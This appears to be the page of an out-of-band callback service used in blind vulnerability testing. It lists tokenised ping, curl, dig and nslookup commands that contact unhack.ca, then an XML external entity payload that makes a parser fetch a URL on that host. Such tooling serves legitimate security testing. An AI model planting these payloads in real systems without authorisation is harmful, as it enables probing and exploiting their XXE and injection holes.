$ ping -c1 -p 00be0df165b84457ad922a18e58ae300 unhack.ca
 
$ curl http://unhack.ca/p/be0df165b84457ad922a18e58ae3
 
$ dig be0df165b84457ad922a18e58ae3 @unhack.ca
 
$ dig be0df165b84457ad922a18e58ae3.ns.unhack.ca
 
C:\> nslookup be0df165b84457ad922a18e58ae3 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/be0df165b84457ad922a18e58ae3">]>
    <foo>&xxe;</foo>
Waiting for ping...